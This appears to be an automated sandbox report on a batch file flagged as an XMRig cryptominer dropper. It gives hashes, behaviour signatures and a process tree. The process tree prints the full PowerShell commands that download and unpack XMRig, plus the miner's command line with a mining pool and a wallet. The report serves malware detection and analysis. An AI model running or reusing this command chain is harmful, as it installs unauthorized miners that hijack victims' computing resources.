Analysis

  • max time kernel
    1796s
  • max time network
    1795s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 09:23

General

  • Target

    tesy - Copy (12).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3240
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1960
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4056

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    e8d8f47e72755c1fe90e0424f1f07d92

    SHA1

    9d73ba7aa9e9468fc80284fd7db5dcf43ccf9d70

    SHA256

    faf2469d831c743b4787c769b826f4d330acc9032cac6e08e8a7f72ed6198413

    SHA512

    9cf623b2582a080d131b994cfac0a7fe35d4f379deff92d1473119ee26fd5e722e099e1216e5d6cbc31569aa67681fe9ce559a90ffdd259aa8daa74131ca394c

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ieiwnfom.c4c.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    e2fe87cc2c7dab8ca6516620dccd1381

    SHA1

    f714ec0448325435103519452610cf7aadf8bbba

    SHA256

    d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4

    SHA512

    8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

  • memory/1960-115-0x00007FFC64000000-0x00007FFC649EC000-memory.dmp

    Filesize

    9.9MB

  • memory/1960-39-0x0000020A6E720000-0x0000020A6E730000-memory.dmp

    Filesize

    64KB

  • memory/1960-37-0x00007FFC64000000-0x00007FFC649EC000-memory.dmp

    Filesize

    9.9MB

  • memory/1960-40-0x0000020A6E720000-0x0000020A6E730000-memory.dmp

    Filesize

    64KB

  • memory/1960-91-0x0000020A6E930000-0x0000020A6E93A000-memory.dmp

    Filesize

    40KB

  • memory/1960-78-0x0000020A6E950000-0x0000020A6E962000-memory.dmp

    Filesize

    72KB

  • memory/1960-64-0x0000020A6E720000-0x0000020A6E730000-memory.dmp

    Filesize

    64KB

  • memory/3240-4-0x000001BC3E900000-0x000001BC3E922000-memory.dmp

    Filesize

    136KB

  • memory/3240-10-0x000001BC3EAB0000-0x000001BC3EB26000-memory.dmp

    Filesize

    472KB

  • memory/3240-9-0x000001BC3E8F0000-0x000001BC3E900000-memory.dmp

    Filesize

    64KB

  • memory/3240-6-0x00007FFC64000000-0x00007FFC649EC000-memory.dmp

    Filesize

    9.9MB

  • memory/3240-7-0x000001BC3E8F0000-0x000001BC3E900000-memory.dmp

    Filesize

    64KB

  • memory/3240-25-0x000001BC3E8F0000-0x000001BC3E900000-memory.dmp

    Filesize

    64KB

  • memory/3240-26-0x00007FFC64000000-0x00007FFC649EC000-memory.dmp

    Filesize

    9.9MB

  • memory/3240-27-0x000001BC3E8F0000-0x000001BC3E900000-memory.dmp

    Filesize

    64KB

  • memory/3240-32-0x00007FFC64000000-0x00007FFC649EC000-memory.dmp

    Filesize

    9.9MB

  • memory/4056-141-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-153-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-120-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-121-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-122-0x0000029859E60000-0x0000029859E80000-memory.dmp

    Filesize

    128KB

  • memory/4056-123-0x0000029859E80000-0x0000029859EA0000-memory.dmp

    Filesize

    128KB

  • memory/4056-124-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-125-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-126-0x0000029859E60000-0x0000029859E80000-memory.dmp

    Filesize

    128KB

  • memory/4056-127-0x0000029859E80000-0x0000029859EA0000-memory.dmp

    Filesize

    128KB

  • memory/4056-128-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-129-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-130-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-131-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-132-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-133-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-134-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-135-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-136-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-137-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-138-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-139-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-140-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-118-0x0000029859DD0000-0x0000029859DF0000-memory.dmp

    Filesize

    128KB

  • memory/4056-142-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-143-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-144-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-145-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-146-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-147-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-148-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-149-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-150-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-151-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-152-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-119-0x0000029859E20000-0x0000029859E60000-memory.dmp

    Filesize

    256KB

  • memory/4056-154-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-155-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-156-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-157-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-158-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-159-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-160-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-161-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-162-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-163-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-164-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-165-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-166-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-167-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-168-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-169-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-170-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-171-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-172-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-173-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-174-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-175-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-176-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-177-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-178-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-179-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-180-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-181-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-182-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-183-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-184-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-185-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB

  • memory/4056-186-0x00007FF784010000-0x00007FF784B13000-memory.dmp

    Filesize

    11.0MB